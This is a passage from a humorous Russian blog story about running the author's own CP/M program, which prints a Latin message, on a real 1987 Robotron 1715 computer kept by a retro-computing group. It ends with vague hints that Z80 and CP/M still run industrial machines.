  </section>
  <p id="oIKx">С незапамятных времен Советского Союза, этот тайный орден хранил уникальные знания и что самое важное — поддерживал в рабочем состоянии удивительные машины из далекого прошлого.</p>
  <p id="C1Vv">Тут было все: </p>
  <blockquote id="bpEY">Спектрумы, Амиги, старые рабочие станции Sun и HP, DEC и даже Alpha.</blockquote>
  <p id="9X1F">Денно и нощно (обычно по субботам) монахи ордена без устали смазывали, паяли и окуривали все это благовониями, дабы ублажить «дух машины» обитающий в старом железе.</p>
  <p id="vESj">Орден ревностно хранил свои секреты и мне очень далеко не сразу было позволено хотя бы приблизиться к их древностям.</p>
  <p id="X4Ab">Но все же мне необходима была их помощь для последней проверки перед сдачей этого фантастического проекта:</p>
  <blockquote id="WAhN">запуска собранного приложения для машины из 1987го на <strong>реальном</strong> компьютере 1987го.</blockquote>
  <p id="Dgvg">Меня сопроводили в специальную, строго охраняемую комнату, где на постаменте, под защитным стеклом находился артефакт из далекого прошлого.</p>
  <figure id="5xqo" class="m_original">
    <img src="https://img3.teletype.in/files/68/a9/68a9913b-af19-4448-8e07-179e9042ac43.png" width="1920" />
  </figure>
  <p id="mjVc"><strong>Robotron 1715</strong> — 8-разрядный <a href="https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%80%D1%81%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80" target="_blank">персональный компьютер</a> производства <a href="https://ru.wikipedia.org/wiki/%D0%93%D0%94%D0%A0" target="_blank">ГДР</a>. Производился на заводе <a href="https://ru.wikipedia.org/wiki/VEB_Robotron" target="_blank">VEB Robotron</a>.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="QQVb">Версия 1715M, сохраненная в ордене это «экспортный» вариант, когда-то давно поставляемый в Советский Союз.</p>
  </section>
  <p id="ELnA">С величайшим почтением нашептывая молитвы загрузки, послушник в черном балахоне приблизился к постаменту и приложил ладонь к считывателю отпечатков пальцев.</p>
  <p id="Estp">Защитное стекло начало медленно опускаться.</p>
  <blockquote id="a5SK">Не прекращая молитвенные напевы, послушник вставил кабель питания в древнее устройство и наконец нажал кнопку запуска.</blockquote>
  <p id="KLJi">Первыми ожили вентиляторы, оповестив своим гулом о начале пробуждения машины от долгого сна. Затем коротко пискнул спикер, сообщив об отсутствии неполадок в оборудовании. </p>
  <p id="lkP6">Последним ожил древний ламповый монитор — лампам требовалось время для прогрева, поэтому надписи появились не сразу.</p>
  <p id="rvUJ">Наконец запуск и загрузка операционной системы SCP — аналога CP/M, но из ГДР были завершены. </p>
  <p id="0o5T">Появилось приглашение ввода команд:</p>
  <pre id="gcrv">А&gt;</pre>
  <p id="ETg6">Послушник взял мою пятидюймовую дискету с записанной сборкой и с благоговением вставил ее в древний дисковод, не забыв выставить специальную защелку в вертикальное положение.</p>
  <p id="oHJN">Затем на не менее древней механической клавиатуре он ввел:</p>
  <pre id="6RmI">B:
MESSAGE.COM</pre>
  <p id="wjS1">Дисковод ожил и издавая чудовищный скрежет начал загружать мое послание доктору Кригеру.</p>
  <p id="vudR">Через какое-то время на экране появились строки:</p>
  <pre id="sLqv">NE PUERO GLADIUM, DR. KRIGER.
04.03.2026</pre>
  <p id="JBrz">Что в переводе с латыни означает:</p>
  <blockquote id="4nhD">НЕ СТОИТ ДАВАТЬ БОЕВОЙ МЕЧ МАЛЬЧИКУ, ДОКТОР КРИГЕР.</blockquote>
  <p id="FlJX">Проверка удалась и написанное мой приложение для компьютеров 80х под CP/M действительно успешно запустилось на настоящем компьютере из 1987 года.</p>
  <p id="H5d5">Так это выглядело в живую:</p>
  <figure id="7ATx" class="m_original">
    <img src="https://img3.teletype.in/files/67/d7/67d733c8-1850-4489-8bdd-397e2735081f.jpeg" width="1280" />
    <figcaption>Мое послание, запущенное на настоящем Роботроне.</figcaption>
  </figure>
  <h2 id="Kew9">ЭПИЛОГ</h2>
  <p id="R8DG">Как мне позднее сообщили, коллега по опасному инженерному делу — доктор Кригер действительно впечатлился и на какое-то время перестал терроризировать сослуживцев <s>сливая с них лишнюю кровь</s>.</p>
  <p id="wANt">Обратив вместо этого пытливый взор на мою скромную персону и заставив немного побегать по Питеру от целой армии роботов.</p>
  <p id="4Xxk">Как это было, что за смуглая красавица спасла меня от неминуемой гибели и почему я больше не смотрю «Битву экстрасенсов» — обо всем этом вы узнаете из следующих серий.</p>
  <p id="8qil">..</p>
  <p id="xrEn">В наше непростое время, когда практически все сколь-нибудь серьезные темы находятся под контролем или запретом, с риском уголовного преследования, остается только использовать «Эзопов язык», превращая излагаемый материал в сказку для непосвященных.</p>
  <p id="R3LH">Если вас, дорогой читатель, волнует реальность описываемых событий, задумайтесь о том, что чип Z80 (и его клоны) является <strong>вторым</strong> по распространенности на планете, а операционная система CP/M c момента своего появления никогда не покидала прошивок промышленного оборудования.</p>
  <blockquote id="PYxG">Закончилась война во Вьетнаме, вышли первые «Звездные войны», развалился Советский Союз, вышли первый и второй «Терминаторы», появился Linux, затем Google — все это время продолжали работать станки, с программируемой логикой на Z80, а временами даже с управляющим софтом под CP/M.</blockquote>
  <p id="qTbr">Это на самом деле ведь никогда не заканчивалось.</p>
  <p id="cwO6">И врядли закончится:</p>
  <figure id="Ld71" class="m_original">
    <img src="https://img1.teletype.in/files/05/01/05014cc9-fe1d-47bc-9b9c-ae0de926fe87.jpeg" width="1200" />
  </figure>
  <p id="HsHt">Теперь задумайтесь, а как бы происходила проверка компетенций, прежде чем допускать до подобного проекта? Не тестовым ли приложением?</p>
  <p id="HOzE">Но кто именно был гостем с военной выправкой думаю вам выяснять не стоит, это секретная информация.</p>

]]></content:encoded></item></channel></rss>